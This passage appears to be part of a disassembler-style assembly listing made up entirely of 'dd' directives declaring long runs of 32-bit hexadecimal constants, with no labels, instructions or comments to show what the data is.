		dd 0ACCBD14Bh, 0FDC37CC8h, 0E664C897h, 30F3CD6h, 164449DAh
		dd 80C41C47h, 8EF37A60h, 0AC74D201h, 0EC2F2E9Eh, 39651434h
		dd 644D6A73h, 3BD46B4Fh, 0EA811213h, 3A673020h,	0CC89403Bh
		dd 7BC458A5h, 97F7D60h,	0F44881E8h, 5BED831Ch, 30A3B569h
		dd 80189722h, 9D29E3E8h, 688A0659h, 21B68DE4h, 0EC4FC211h
		dd 0B4F90500h, 0B0AA1B5Ah, 0D06A2F07h, 93B01397h, 0B99EF1D1h
		dd 18BFD1B8h, 1FD60099h, 0FF924EA5h, 4B4C7A9h, 459C2540h
		dd 24FD4F9Eh, 0B2CCB2F0h, 1784308Ah, 22B2AE05h,	1F842E50h
		dd 14DD4CE0h, 0E0F4C62Ch, 0CE03BB23h, 0B42E3B29h, 0E920BE62h
		dd 769229C6h, 2A3C7D28h, 0A580FD67h, 60BFE4B4h,	0E85C2720h
		dd 3B9FEEC7h, 358E3E84h, 0D460CCE8h, 0FD063BA1h, 0B94C2371h
		dd 303D4FE8h, 729C20C2h, 1C7C5638h, 0FE67F716h,	0C4E72C00h
		dd 0F4D90C37h, 0AF7E448Dh, 62853Dh, 80650A0Bh, 5AB22949h
		dd 0F2203473h, 30F8F2F4h, 0B6002804h, 9DA719ABh, 0CFE7EB81h
		dd 0E0B4ED21h, 0D5258083h, 78BC07E1h, 0F67C5084h, 6838058Ch
		dd 8E32EFCCh, 30A80738h, 0EF802468h, 5A8D98h, 353755B3h
		dd 1BFCE56Eh, 0C8C1CEF8h, 83B76261h, 75719C41h,	6CE09DDFh
		dd 0B0F55099h, 28E182D3h, 644E1224h, 5B5500C8h,	89FF5F8Bh
		dd 9B12EFA3h, 24008CFAh, 23FC7102h, 0C498A7C2h,	33E067F5h
		dd 3F722112h, 0E426B49Eh, 82467E5Ch, 0BA76B607h, 30F8E066h
		dd 0E80049AFh, 0BF7F6ADh, 26FF3258h, 0B642B70h,	0BC666575h
		dd 0A1512D04h, 0EF426C2Ah, 74DAFE63h, 0FC502775h, 0BF4865D4h
		dd 1B92378h, 2E3929CCh,	942C63CEh, 5A290042h, 0AD18BC69h
		dd 0CA340039h, 42502674h, 0B50AE0AAh, 0AC227B97h, 0A02F2783h
		dd 1CA85409h, 0EC6C44D7h, 69029C99h, 7AE362h, 0C01D55F2h
		dd 0F89ABF2Ah, 0EB1A9443h, 0F89D8877h, 7980BD11h, 18337D4Ah
		dd 905AEC29h, 0D595EA00h, 1A6B02B6h, 70926732h,	0C82F0782h
		dd 0A6A50840h, 90E2F500h, 83F3FAE9h, 0F8E492A8h, 77360B3Ch
		dd 104859B9h, 0E3005A0Ah, 181B2927h, 0C0E9504Fh, 952BDDE9h
		dd 700ED03h, 643A9E7Fh,	5FC546h, 2B86A6Bh, 0E2A8390Dh
		dd 0D6DCD800h, 9F6026ACh, 0DA6C0072h, 81A91FE7h, 0FAFCB43Dh
		dd 0C6E31B12h, 44B25825h, 1B308BF2h, 69C0097h, 6960573Eh
		dd 0EB1AFF9Eh, 5158D0D3h, 18F57968h, 492A3814h,	9C9D7685h
		dd 6000F45Ah, 8E851201h, 239BEA65h, 1CC079CDh, 0D3D03F1h
		dd 0B0D31BFDh, 35187878h, 3E39775Ah, 1CE60016h,	0BD9B5EB2h
		dd 530033D3h, 0FFA513CCh, 44B70Dh, 3DE9AC63h, 30B6C203h
		dd 57FD0B02h, 0C459D5EDh, 0C3FC1EB0h, 0F6D20785h, 816EE1F2h
		dd 0AE7DC092h, 41F8D00h, 0CD647387h, 0D0970269h, 0DC3536C0h
		dd 8E719859h, 0AB3E7418h, 292400EBh, 0C5F5192Ch, 94CC01E7h
		dd 0A3EC2667h, 4E8C2207h, 7E23142Fh, 0E7AA100Eh, 5ED476DCh
		dd 2471F8A2h, 2F0F108h,	9D9A6BF3h, 0DC5970EAh, 0B118BF71h
		dd 0DF11AD0Eh, 0A5DD42AEh, 8B3C6167h, 0EA219021h, 381D90A7h
		dd 1480F491h, 0C5C43C9Fh, 0B0E6A529h, 7B125824h, 0AFB81118h
		dd 62760B31h, 24E77236h, 9C61B964h, 83E06CF1h, 80BB4522h
		dd 502C1EFAh, 4EAF94A0h, 23683BBEh, 807A1FBDh, 0D3BAEDC0h
		dd 0C320239Ah, 0AA962FC9h, 0B4458092h, 0E160B9C4h, 0E871812Ch
		dd 303E9CA8h, 8173F727h, 6DCF10Ch, 2D0948F0h, 0C482E75Ah
		dd 0E044F3FEh, 39264400h, 736C50B2h, 74FE8E2h, 6FDFE7B6h
		dd 2EF20541h, 0BA2378h,	0F19F1038h, 944A7A93h, 6AB3B080h
		dd 48EAE21Ah, 0F2E80834h, 9C3B018Ch, 251BC34Dh,	0EE508226h
		dd 7B98487Bh, 0F14B710Ch, 762DE49Ch, 9DDC0A2Dh,	80F911D4h
		dd 0E02A29D5h, 5F1B0119h, 0AE9BF177h, 31F88493h, 0E4855BF7h
		dd 81C87C8Eh, 93CA29C0h, 13F37E7Eh, 1F01F7FDh, 80695D68h
		dd 0F26C5BEDh, 81698693h, 381C2870h, 127A4676h,	0C00BD41h
		dd 4297B49h, 811891FFh,	0EBF8829Ch, 0E6660223h,	0D4209C60h
		dd 99EA0300h, 73D105FCh, 0CBBA3152h, 0F0A64078h, 28A0B36Ch
		dd 640BE966h, 0C269EA81h, 44C0C7E8h, 9DBD60F2h,	8C5B17EFh
		dd 3A906416h, 7F2394h, 2014DC95h, 3E1D50A5h, 0A7072Eh
		dd 729BEF1Ch, 6705809Ah, 0D6939012h, 0A55C844Bh, 0C88EA450h
		dd 0A6C28588h, 5FFE40D7h, 9BFF833h, 0F31FF72Eh,	89CE89Ch
		dd 12AC00D4h, 0B8CD798Ch, 474BB203h, 0B6992421h, 1773FBF4h
		dd 8BFACEh, 80F50268h, 301D91Dh, 3A836839h, 6C3CBB3Ch
		dd 18CF9BCh, 0C743BE4Dh, 0C503BBF7h, 0B4433E8h,	802DCFFAh
		dd 3DBFDA70h, 2EDC5F73h, 0E8D2378h, 0C920066Fh,	0EC2DC2ABh
		dd 102C1E5Ch, 5F2CCA03h, 0B5760034h, 69CCA37Bh,	47DC9D25h
		dd 61F34420h, 0C209761h, 0D0E05070h, 626916C6h,	0D73080DFh
		dd 65DA0F1h, 0AA9C80A8h, 1ED9FDFh, 86FB3134h, 0F0B68E4Bh
		dd 7901F3C6h, 1D81354Ch, 0F423A4D4h, 0A3957509h, 0A6A5D430h
		dd 0D10C1A95h, 188A5974h, 659800AFh, 6823B93Fh,	0E49B8673h
		dd 6D49EC26h, 0E135C01Ch, 701497Dh, 25D8924Fh, 0C4415394h
		dd 2205AAABh, 0C6253DF8h, 6C7C88h, 517EE298h, 3B09C2D6h
		dd 7D462B00h, 0FBC2FF1h, 26AA06C5h, 0D17B8D5Dh,	5063E280h
		dd 0C862613Eh, 1020588Ah
		dd 2168A3Eh, 2DF060D0h,	42F97C07h, 9C7A1ED8h, 9786DD2Dh
		dd 9C8691D8h, 0A86A2F80h, 7C57528Eh, 0F1D800DDh, 0CD3330D7h
		dd 0B71935Fh, 91400C92h, 0C08B975Ch, 0FB6498E7h, 0B5A8DB60h
		dd 0B2225301h, 0BBBF20E6h, 17E4E830h, 0CCCFC0CEh, 0FF712DACh
		dd 3451EAE9h, 0E6187BD1h, 0ACCD0C4Bh, 9DCF6C40h, 2FB70A02h
		dd 0BB887A8Eh, 0DD60305Fh, 128F6CFh, 8A95D462h,	467628E0h
		dd 77A600F9h, 0EAF2EE57h, 0C22B4E96h, 2D017D8Ch, 81DE3827h
		dd 69FFB370h, 969C0915h, 0C02AC000h, 5C996E46h,	0FE18F7D1h
		dd 0C112D300h, 273072B1h, 0C074EF7Ch, 0A43A259Bh, 1797CCE4h
		dd 80F591A4h, 12CB45F3h, 6004B8F0h, 363508Fh, 30EA7AA6h
		dd 6F6B4804h, 2CACB6D8h, 8684E25h, 3A794C14h, 0B0C0FE00h
		dd 0A3EF22ACh, 43E41DE7h, 0FA738C9Fh, 709003A1h, 7E29ED11h
		dd 95F18013h, 0F39480C0h, 740F235h, 0FB05043Eh,	82B40F23h
		dd 2844C7D8h, 0DFF81903h, 0DFBDD735h, 5072C9h, 9513FBB4h
		dd 3F402708h, 502F3013h, 9865B8B0h, 8CD9C630h, 9900817Fh
		dd 1F5D1091h, 463C94h, 530C9520h, 2A07C64Fh, 689485F8h
		dd 1F28E225h, 80F411E0h, 80D2C48Bh, 62389EF5h, 300095A7h
		dd 131906CBh, 0F2B1657Dh, 30B8F2D8h, 6D783046h,	0CC6632Eh
		dd 17410A9Eh, 6E7D8ED5h, 0C82C2C3Ah, 8C428141h,	43C6C2Fh
		dd 0FAFEA1BFh, 0B714A8B2h, 47A1B7B0h, 8E15023Dh, 0FA3C06D6h
		dd 4479B489h, 0CC477BE4h, 0C8C0C05Fh, 13274269h, 40946F9Ah
		dd 75FBE5C1h, 6D7D0C00h, 704A3E23h, 780E306Bh, 67552580h
		dd 695E79C1h, 0B3A7D9Eh, 1C64F610h, 2F28D102h, 0D279F7BEh
		dd 6CD05810h, 23C82ED2h, 9E6F008Dh, 0B0370A6Dh,	13C27204h
		dd 608D5DFDh, 323E4180h, 0A53B500Ah, 0D8D874B3h, 2AE40093h
		dd 0FB413B2Dh, 0BD598703h, 0C9287BD0h, 7260F07Fh, 624D7A1h
		dd 895A26F4h, 399E6050h, 0BE4135ECh, 8EF819B1h,	5B26107Bh
		dd 0B137003Dh, 0C64DF122h, 58F644C5h, 32062304h, 60A8080Fh
		dd 0D0C84E27h, 0B7A0B9CDh, 5F00D34Ch, 0EA231C5Bh, 72D86374h
		dd 9A87CBDh, 0CE93F183h, 0BC02A4A4h, 3144C1E4h,	1862D14Dh
		dd 0C4307AF2h, 89EE604Fh, 0FE9F14C2h, 2C094000h, 0EF47F62Dh
		dd 774D03A9h, 6444B528h, 68D49801h, 21627576h, 78F39845h
		dd 1631BAA2h, 202FE7FDh, 0AB976A98h, 4DCDE800h,	0AD2DFAACh
		dd 0C68FE8Dh, 0F25051AFh, 5476D729h, 3E7D00Fh, 6A77C243h
		dd 0D074631Fh, 0FA7E9934h, 0DD3A5A9Ah, 0A8647960h, 85E8043Fh
		dd 0C977E32Ah, 8A9BCCE8h, 900A2BF7h, 219FB854h,	4E3090E8h
		dd 3F9508FBh, 0DB154BC4h, 0DC7C8088h, 125D5B5Ch, 0F24F4B10h
		dd 31C1F2E4h, 0CC01D4FAh, 6544E700h, 0FB3F7B8Bh, 1675FF3h
		dd 4A5AED34h, 282E2BD1h, 6F017E23h, 0A3747303h,	0FD88013Fh
		dd 97C11F23h, 68619858h, 405FACFh, 1907660h, 0C5E8352Fh
		dd 0A998CCh, 6B5A65E7h,	884361E1h, 5D175CBAh, 1C8B0FC0h
		dd 70C1B888h, 1879FEB4h, 32D5E700h, 0B28439Fh, 5D44F302h
		dd 0C03E9CD3h, 80897F2Ch, 3000B704h, 3DB8C3F5h,	30BCA2B4h
		dd 0FFAFF3Ch, 0D0A8838Eh, 0D1CCE6Ch, 85006BD6h,	377E9E1Ah
		dd 251EE001h, 0E0E07F68h, 4E24C2F5h, 0E08058E6h, 54C78357h
		dd 0D1610359h, 0C5D09F69h, 182EA8F0h, 48C0F75Bh, 977A4B9Dh
		dd 70FBD8BAh, 97750h, 0B583449Dh, 0AFC685A8h, 0AC0021DCh
		dd 633E2A36h, 61283A5Dh, 4293F285h, 8434A89Ah, 233EA533h
		dd 26F40FF6h, 448388C0h, 174C6230h, 0E0605610h,	0BA8C85h
		dd 0C8603245h, 6E26EF48h, 8D4E4D17h, 0C46D4C20h, 0FF760128h
		dd 86825565h, 0DBE4F0B4h, 0C024B858h, 3C0E0DCBh, 0C5A400E0h
		dd 58FD0B3Dh, 0A55E16C2h, 61A6420h, 0D6E92581h,	29E7D880h
		dd 10906A13h, 0B61C8018h, 67C76138h, 504959B1h,	0B4116D8Fh
		dd 6A1C6300h, 5F4F753Eh, 0FCA1C078h, 0DF420729h, 5422935Fh
		dd 4B50F4B4h, 870D873h,	73E800CAh, 7B850ACEh, 67094077h
		dd 18861F5Ah, 0F530B4A0h, 2544027Ah, 7C40FDDCh,	0F85D2CEDh
		dd 0BCDB4B70h, 0F7376F83h, 0FBFC3E02h, 64FFB442h, 0EA4E2410h
		dd 82A98108h, 0D8D7DF72h, 0BB016B9Dh, 0E9165ECFh, 0F4240B61h
		dd 9BEF3DD0h, 5D8CC34Eh, 0D70269A6h, 3328D9F1h,	7950D967h
		dd 1118F8h, 0F337DBA9h,	0EB9B65BCh, 80D7FF2Dh, 368163B4h
		dd 5A7E7419h, 29B48DECh, 3EE2A808h, 253BF898h, 0C297211Dh
		dd 94D331E7h, 0B7F2C4A2h, 0D6E0646Dh, 9FE0272Eh, 9F5CE482h
		dd 8411847Eh, 0D75A1105h, 132CBD7Ch, 0CCB3A6A3h, 6C30FAB2h
		dd 407B00ACh, 0F21C8A88h, 0B767C7C8h, 0FF5E0391h, 0EA8B880h
		dd 512030h, 0E62B2448h,	8117592Dh, 0CC6EC14Fh, 2EB9C001h
		dd 3A07440Fh, 0F8A1EC0Ch, 6FE14158h, 2A9AD462h,	8ED10610h
		dd 0F0991194h, 911888D1h, 18650402h, 0FC26FD9Ah, 0CB3E1220h
		dd 0C0FBC85Ch, 41B35C4h, 99361700h, 0B4A6E9E2h,	71D3FAh
		dd 0F576BD44h, 6B0CF6B3h, 0F0030FF7h, 66ED0181h, 5693EFCEh
		dd 70417A97h, 0A5E29BF2h, 7C8C108Ch, 73135249h,	0B2012F8Fh
		dd 80BCDA9Dh, 40BB6460h, 2C96D06Dh, 0D37EF670h,	3EC40489h
		dd 5A785C9Ah, 63655C81h, 0F2D1C40h, 90099F4Ch, 272F48B0h
		dd 0F9D4F855h, 0DECC506Dh, 1B12FCFAh, 8B1B89Bh,	8F30132Eh
		dd 0C07D8864h, 0F3458A9Fh, 231B9C16h, 0CD65485Ch, 12A6C180h
		dd 374AF8D6h, 0D6CAF026h, 0FE33803Dh, 0A5F1D1ECh, 0C42F1930h
		dd 79C7D80Ch, 0B8A9B868h, 0B0DA01FCh, 0A02EC83Eh, 69EC64EDh
		dd 23A57309h, 4E5878C3h, 0C85C8B3Fh, 4C93C0B9h,	4BD5FFDh
		dd 94BD5028h, 0F9F70D00h, 0DF2AC6DEh, 0EA9BF108h, 0BC65259Ch
		dd 0BF60BCE4h, 4E28570Ch, 0A8208C74h, 7E50B008h, 5F209058h
		dd 0B6A81202h, 7612E0ECh, 0C50C16A9h, 60A81426h, 0E4C4FF25h
		dd 0A7D7CF20h, 60F544C4h, 0D334AE2h, 9CF84F79h,	106E2F18h
		dd 0C0C7731Fh, 0DEA5E782h, 53126007h, 0C44B9E8Eh, 132384A1h
		dd 0A57118E4h, 0B65A5804h, 0F50074B6h, 0DDD696CDh, 118348FBh
		dd 0B372FE00h, 9C5C13BAh, 483BA300h, 0F20C188h,	2136269Ah
		dd 0E230349h, 0F998B7E8h, 0F800DFD2h, 20E907E3h, 6F7C91h
		dd 0AECDEF80h, 63ECF13Fh, 4858F74Ch, 0FDC500ADh, 0D44187EBh
		dd 22A503C4h, 7191334Bh, 39B58A3h, 0D07969B9h, 500FD0Ah
		dd 1D8D7A90h, 0F64C8Ah,	45078FA3h, 2EE037ADh, 52C93F00h
		dd 365CD0C1h, 0F15F1C68h, 6267C020h, 0B1F6EE0Dh, 900A3F00h
		dd 0E7AFCEF0h, 9B3D00CAh, 1BE6B678h, 0EE0E1482h, 0C7A815BAh
		dd 17F3AB2Ch, 65499883h, 0A29601C3h, 339A5BBEh,	0DD42E86Fh
		dd 865CB500h, 70122A41h, 0C0800050h, 0AB6AFEC7h, 56002DB2h
		dd 0EB82463Eh, 0AA1ED2h, 0B4B09585h, 309883CDh,	0C1633B00h
		dd 0A162C5A9h, 84440037h, 162E458Bh, 7A00614Eh,	0FB20789Ah
		dd 0AAF463h, 8FD659CEh,	0E5EEE8C7h, 342C4C02h, 0A0D8DA17h
		dd 16C2BAE8h, 0AF510069h, 0C9938097h, 26004563h, 10D3AA2Eh
		dd 0C0596749h, 0D4361A58h, 0DB046C87h, 0B62DA03Eh, 0A0070C93h
		dd 6D1557h, 6A3C050h, 9A585674h, 0FD14C400h, 67CD92E5h
		dd 44293C49h, 7840D700h, 9A040E1Ch, 95DDA526h, 566E0500h
		dd 1703ABDFh, 2D1459h, 0F18850AEh, 0C20736D8h, 7ECB7CCh
		dd 0C84DEF33h, 0DF9F10h, 23BC85FDh, 0EDD2C6BDh,	3B5B8003h
		dd 0D9EE0C2Fh, 6760148Ah, 270B0120h, 0A7DC0305h, 5B60FAE6h
		dd 0F40C4FAFh, 0F8828B1Bh
		dd 0A4390025h, 91B0A166h, 0B3BA8C1h, 9BFB00D8h,	2EAB7242h
		dd 60A54179h, 0EC1C2F41h, 0FB0255F7h, 5F698951h, 5FEA3E0h
		dd 8EA7BE00h, 279E5297h, 6FF0008Fh, 0C5EC03A6h,	56309BD5h
		dd 0AA73199Ah, 0F5EE07h, 689DDD16h, 42121941h, 45898201h
		dd 935CE8D9h, 50340420h, 0B7D015h, 2720ADB5h, 4104F5A0h
		dd 5020AA60h, 14426131h, 0DC72387Ah, 5A4824h, 732B51C5h
		dd 1703E855h, 0FF765E56h, 4DA3B8DFh, 0C088C03Eh, 23EF5CF6h
		dd 428C461Ch, 1733BE01h, 1824BD47h, 0AD300727h,	2B13D6h
		dd 0EA01C6DAh, 0EBD4C300h, 7F48587Eh, 0B18F0011h, 0DADE3736h
		dd 0BD005591h, 0C48AAA4Bh, 1388B2h, 0FC1C0BF9h,	0E84D1433h
		dd 0B7A2C200h, 948D5775h, 243C0047h, 5C4C6A82h,	0D8C092E7h
		dd 9C1078ABh, 0C41450EBh, 98A0BDBEh, 0AFA7C758h, 6454270Dh
		dd 90E031E2h, 0B7F8C8h,	0D1405F7Dh, 0A2687B8h, 0EF9FB926h
		dd 0BD00571Eh, 0A556AD22h, 837CB4h, 0D067B7Dh, 0AA7ABAA8h
		dd 0D8EF9101h, 68DCF9B2h, 0FB9F076Eh, 0BAD1302Ah, 0FD006753h
		dd 0AC4E1836h, 3F21237h, 0DAA4C266h, 6EE8FA3Fh,	0D600F760h
		dd 70A71D0Ch, 691069Fh,	5398897Ah, 0CE00219Bh, 0A077F6F0h
		dd 161D76Fh, 0F46958AAh, 0C8F3DCCDh, 0DB00E4B6h, 10CAA96Eh
		dd 7A2C52h, 5112E350h, 0F6A57059h, 0E8049A98h, 7407D0C8h
		dd 0EC6A36C0h, 3A571FB8h, 20BF0072h, 0F5EAB343h, 76006092h
		dd 5F776050h, 2678F248h, 0CCA8CDh, 3B8B9EA6h, 0B203D1C7h
		dd 0F4BED72Fh, 935DC852h, 0ED26069Bh, 460E2E1Dh, 5BBC6501h
		dd 1E3C53AEh, 3CE0260h,	0ACF1E908h, 0E0267844h,	7F035AC9h
		dd 90F4ECAFh, 4687140h,	660A29FAh, 543C81DFh, 0E6EDD0E7h
		dd 0D5B47900h, 53C35C1Bh, 476E2BCh, 0B11F04F9h,	9F4490CEh
		dd 920AF3E6h, 94517B74h, 90406812h, 21390928h, 7AC500B2h
		dd 0C881E561h, 31008EFDh, 0C052ACC9h, 7C7436h, 8F389937h
		dd 0BAAB7570h, 11C07BE6h, 69498462h, 4E1500BDh,	0F89A6B64h
		dd 820F4C1Ch, 4420168Ah, 0C1C3062Dh, 7565C8A2h,	80A460B0h
		dd 4FFBC1E0h, 39CCB59h,	0DB2BE358h, 0F203C8EAh,	93F012E6h
		dd 6B9FE075h, 9E6E8000h, 0AE42877Fh, 5F98A058h,	8EFB0E96h
		dd 78633768h, 0A986152h, 4E506B14h, 0E27698C8h,	551D3C0Ch
		dd 2C23495Dh, 81149153h, 8EEDE17Bh, 7886070h, 1E63FE00h
		dd 0FF357D2Fh, 0B5BE00DEh, 0AEA6BF8Fh, 39395126h, 5E299385h
		dd 24148100h, 490D7Fh, 2CF3129Bh, 3DF0E71Ch, 0F8666B00h
		dd 0F2675E27h, 0F4DD39CBh, 3EF9007Eh, 0BADBEDBh, 0E200799Eh
		dd 64811A28h, 443ABCh, 0BEDC8A40h, 0DEA6C667h, 8EB2BD12h
		dd 78BCD000h, 786C3453h, 300B846h, 834B6A3Ah, 1000C92Fh
		dd 0CEBF8151h, 93B589h,	9F11615Dh, 0AA2C835h, 505FCD00h
		dd 0A94E7772h, 0A6920089h, 6BE8E7EDh, 0BF0087F4h, 0EA68DEF2h
		dd 0FBBE8Eh, 0D9E0E45h,	1788AEC4h, 130739E6h, 0FECE3B9Dh
		dd 0B1D74C30h, 5A8200FFh, 4B6B0D25h, 0C90F632Dh, 6049BB53h
		dd 1FE24428h, 1C217B9h,	91C3000Bh, 798A81F6h, 10C885Ch
		dd 0D9A916BFh, 0C2EEB0B8h, 3052B2h, 9389A02Dh, 234361E3h
		dd 0D4F33A00h, 6886ACB4h, 1B1A0248h, 0AF95DCFDh, 43EA6EE0h
		dd 5B052507h, 0C9B0B6D4h, 12D4D6Bh, 0E0E30140h,	6FF678CEh
		dd 95A91800h, 9CAABEEFh, 4EF48034h, 8A762BE2h, 5E263A12h
		dd 1DEF18E4h, 1FC7C91Ah, 0C3814C4h, 0A9CCE900h,	1029AF8h
		dd 82FB3Ah, 0F5BAF664h,	1D4E32A8h, 0C06925E5h, 0E77A1508h
		dd 0C00039ADh, 519BEAC8h, 1069CBDh, 0D63A85DAh,	0E45FC568h
		dd 0AD004103h, 0FAF1C650h, 732AF4C8h, 2520EDE2h, 0F1797CE8h
		dd 18A5F2F1h, 95D9A468h, 6961C100h, 0C9126576h,	0A2E900D0h
		dd 33135AA9h, 530171A1h, 3E42F92Bh, 69EC0FC6h, 29B00357h
		dd 797A06BDh, 52A4A3C0h, 1B3B4800h, 0BEA96EBh, 64B500B8h
		dd 105AAE55h, 0F00A2EFh, 1D79951Ah, 89BE01h, 82C99FA5h
		dd 0BB76FBF1h, 68D4720Fh, 0ACDCA0A7h, 2FF49CAh,	53DDC13Ch
		dd 92C0EC5Fh, 0D40EC894h, 0E0EFA530h, 3773F672h, 84AD00EDh
		dd 0DD9DDA56h, 9F00FF8Eh, 0CD10E9A1h, 80A6D0h, 4CFDD1E6h
		dd 0D4CEE7F6h, 0C1E29E00h, 87C7D308h, 0B3C91D29h, 9118001Dh
		dd 0C2D7172Dh, 96086A00h, 0CD85C8DCh, 0A53E00CAh, 26EFA729h
		dd 0F12581F2h, 91E4979Fh, 0E2680BDh, 4ABB8EDCh,	90AC81D4h
		dd 16042D76h, 10A36B75h, 5AFD7010h, 7DC84CCBh, 182F87C0h
		dd 60FC25E0h, 0C15F0CE6h, 84FCE8D8h, 0F56EC403h, 140F75C3h
		dd 14A56A09h, 0D1F1A202h, 74F0C9FFh, 0F46C2F02h, 0D1F6C743h
		dd 18F3793Ch, 0BCC0976Fh, 0AA279369h, 0F02C2C96h, 36058CF4h
		dd 22EFCA68h, 0A6B020ECh, 0C100682Eh, 0C7EB8F76h, 300BDB2Dh
		dd 0DCF85EFDh, 0E795B391h, 6088444Ch, 7DB0146h,	0A7310B3Ch
		dd 0BBF5B4BAh, 305EA422h, 7A071F3Ch, 0CFE326F5h, 80EE8832h
		dd 53EF6E0h, 3F721224h,	0DFECE48Eh, 0CFA5A300h,	688E760h
		dd 9EC13FCBh, 2EB6D300h, 6ED22FF7h, 0C8845F28h,	3864D0C7h
		dd 0FCD10132h, 0AC70D604h, 1A81071Dh, 9794B0AFh, 86422B9Bh
		dd 513021C0h, 2CE0187Bh, 77944D3h, 0A230157Ch, 0EC7C0F10h
		dd 4807A385h, 494F2CA0h, 0AD0004EBh, 0D5411CEFh, 0B4F08644h
		dd 0BB8F7D04h, 30BAA17Ch, 0EF626750h, 78098E5Bh, 0E410E53Ah
		dd 31BB61F3h, 4F87F7E0h, 0C838CE07h, 0BDE3C082h, 0F03F4D8h
		dd 0DB534031h, 0B0BCC44Fh, 4398C624h, 52F1F301h, 97C0ADD0h
		dd 9FF59164h, 440D7602h, 71185EE8h, 6EAA14B8h, 0AD620090h
		dd 8E395545h, 0A0630044h, 4A945FA7h, 0B11CC679h, 0CC5703FCh
		dd 3A802C9Eh, 0CA5317ABh, 0A9249D7Dh, 600010BAh, 12646257h
		dd 170C1263h, 8178E8F3h, 6C1F5A69h, 0DB548C2Eh,	83A6F8BEh
		dd 3B8F2F1Ch, 0B800FE5h, 0C4E0C711h, 0FD3360F8h, 0D16F02E6h
		dd 0D65B4945h, 632290AFh, 7CDA965Eh, 0B002A020h, 0A5408156h
		dd 6018D433h, 2C4F2010h, 68C719CBh, 0D95F90h, 0A1BA74D5h
		dd 0FF2DE939h, 84E33B20h, 7CA44528h, 8CC0BC98h,	8803BFE4h
		dd 21D7919Bh, 0C105D29Fh, 598FE054h, 25010A8Fh,	4CFF06ADh
		dd 3A2F07ECh, 5CE84A13h, 0C04DAD2Ch, 0AE64ECE0h, 0BFE80074h
		dd 9B922DB8h, 0A80948Eh, 0B6414BFEh, 5560E768h,	13FFE8B0h
		dd 0E50D6D8h, 94483A08h, 0B6C5C3Bh, 59B4F5B3h, 197CF184h
		dd 971EE4C0h, 0C6012046h, 25D8A294h, 0CC306FC0h, 808E243Eh
		dd 0FB058348h, 5EA810CFh, 96F821E2h, 0F7CB500Bh, 4A0C70BAh
		dd 7B1C42C8h, 1C5E98EAh, 9B4E2411h, 0F0FE8128h,	3C20FDF8h
		dd 0A8F96068h, 9216E225h, 0A58E7404h, 68A9D757h, 163F25B8h
		dd 93F20F9Ch, 88B0B822h, 38CC7AE3h, 0C24B836Ch,	0D076211Ch
		dd 3530D380h, 0B2CA6BF0h, 0E8809520h, 0BB938C5Fh, 4116D839h
		dd 61DC202Ah, 9E001CB0h, 1E06FC7Ah, 396E003h, 9B8A08FFh
		dd 487BA012h, 453E9D25h, 60F6E42Ch, 0B0A30265h,	642E5CDDh
		dd 0D8204E2Fh, 40BFB311h, 36ECDA1Eh, 0F40950DFh, 8B80536Bh
		dd 7884B43Ch, 0C8B812D6h, 0DD5FFC04h, 2853EB5Ah, 99B8F0A9h
		dd 7323Ch, 0CEF1D286h, 3CB3B26h, 0C7A7803Ch, 669A3ADDh
		dd 46765C74h, 7330089h,	0D7E80D50h, 39D412E7h, 0B2C4E33Dh
		dd 0FF9530BCh, 9DD9D2Fh, 0DC9474EAh, 7DDC8C0Bh,	3D9C0089h
		dd 1675D2E1h, 4B73D461h, 50DAF864h, 0B4DCF105h,	0DCE23F27h
		dd 0E030F6F2h, 4ED476D1h
		dd 8D4488F1h, 56908454h, 882B7C00h, 0F1C130EBh,	9C1C0073h
		dd 0EDE075C4h, 0D44FFEAAh, 434F24A4h, 0CEE050C1h, 5FB37A40h
		dd 4F7892F1h, 7080785Ch, 348D7CECh, 2E1C025Bh, 0C0C3E65Fh
		dd 0D100845Dh, 886BAEh,	0E0075985h, 0BF2523D5h,	7D099400h
		dd 56FA45F3h, 36744713h, 0BFBCB0BCh, 102DD8Ch, 5C5DF94Dh
		dd 58923E7Eh, 201D2942h, 5781F411h, 3E2B675Bh, 0E8189054h
		dd 0CB008C83h, 51980701h, 0A9665D0h, 0B6C7A886h, 7C803B60h
		dd 97D9227Dh, 87001080h, 2DD07019h, 0AF59646h, 0D40FFBFAh
		dd 0B47827E0h, 0C064ED97h, 302D97FCh, 0F5182710h, 0C878A125h
		dd 0B2703753h, 0F198307Ah, 961A9316h, 0ED3F8C20h, 5D6D2563h
		dd 56ACF4CBh, 0BAE19845h, 35E4C98h, 3FD0539h, 0E813CDBBh
		dd 3CA224EDh, 0D833230Ch, 0D0053F18h, 0FA7BF034h, 0A5E14091h
		dd 0EC80D050h, 0A668D629h, 0A78CF0F8h, 2B023ACFh, 5F5C1001h
		dd 3F71E8C7h, 0BE230C3Bh, 3C4D3D00h, 12A659B3h,	0B29EF1D4h
		dd 30B8F2FCh, 3025B42Ah, 0A1ECCB58h, 0C03E3B5Ah, 7FEC3824h
		dd 0E6D990A8h, 0CDBFF92Dh, 0F28EC0F0h, 820EF38Ch, 793F4ACh
		dd 54800B1Fh, 59FD6C92h, 0D6BCC426h, 4CE0E612h,	0F612FC8Eh
		dd 23403FB9h, 0E8D10082h, 5326B183h, 433F03Ch, 0A3EF9DCCh
		dd 0E2D704BCh, 30BBF2E0h, 0AAEA9362h, 33420709h, 57D8627Eh
		dd 62697010h, 18902333h, 0B983A97Ah, 887CDB04h,	3C37C08Bh
		dd 0F750BCB5h, 0CC9CC6CAh, 95419080h, 4ED1455Bh, 93549BF6h
		dd 0FEB49104h, 6B23FCE2h, 83BB4D07h, 0D4CE5D40h, 0E1C80612h
		dd 0D0844B59h, 39725A30h, 0C547F4h, 0B681F332h,	0ED4F7C22h
		dd 60379Dh, 0AFBBD01Eh,	484E0F2Eh, 9B676807h, 9BF078C9h
		dd 555B78F8h, 13CFAF02h, 5E3026D0h, 9BF10764h, 7B582DB6h
		dd 1904423h, 0F208CE1Eh, 0EC93DA02h, 0D709D180h, 0F1F0C925h
		dd 19877930h, 0B3085D4h, 824F3A67h, 8B11B49Fh, 0F377009Ch
		dd 0DC481C9h, 73620F0Ch, 0F8805076h, 3090B7E5h,	0B9838FDFh
		dd 32FFA50h, 828ED31Ch,	1EA35100h, 7CFD28Bh, 9FFA8Ch, 322ABB14h
		dd 0FD8F25B2h, 906E274Eh, 7B1FDF3Ch, 984E0F7Fh,	0B4C65462h
		dd 2426C8A0h, 0D503E55Eh, 2B13B6B3h, 4E96C8ABh,	0C7F93D45h
		dd 0B1729E0h, 0FE75C035h, 0A5C40803h, 0E03A6459h, 5FC9C62Ch
